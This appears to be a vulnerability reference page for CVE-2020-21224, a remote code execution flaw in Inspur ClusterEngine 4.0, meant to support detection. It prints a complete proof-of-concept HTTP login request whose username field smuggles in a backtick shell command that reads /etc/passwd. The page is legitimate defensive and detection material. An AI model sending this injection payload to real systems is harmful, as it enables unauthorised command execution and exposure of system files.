🔙 목록으로 돌아가기

CVE-2020-21224: Inspur ClusterEngine 4.0 - Remote Code Execution

TitleInspur ClusterEngine 4.0 - Remote Code Execution
Authorpikpikcu
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
RemediationApply the latest security patches or updates provided by Inspur to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.9214
CVE IDCVE-2020-21224
CWE IDCWE-88
Tags cve2020 cve clusterengine rce inspur vkev vuln

🔍 Vulnerability Description

Inspur ClusterEngine V4.0 is suscptible to a remote code execution vulnerability. A remote attacker can send a malicious login packet to the control server.

🌐 HTTP Request

POST /login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.5.6 (KHTML, like Gecko) Safari/125.12
Connection: close
Content-Length: 48
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Referer: www.victim.com/module/login/login.html
Accept-Encoding: gzip

op=login&username=;`cat /etc/passwd`&password=

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-21224.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-21224.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A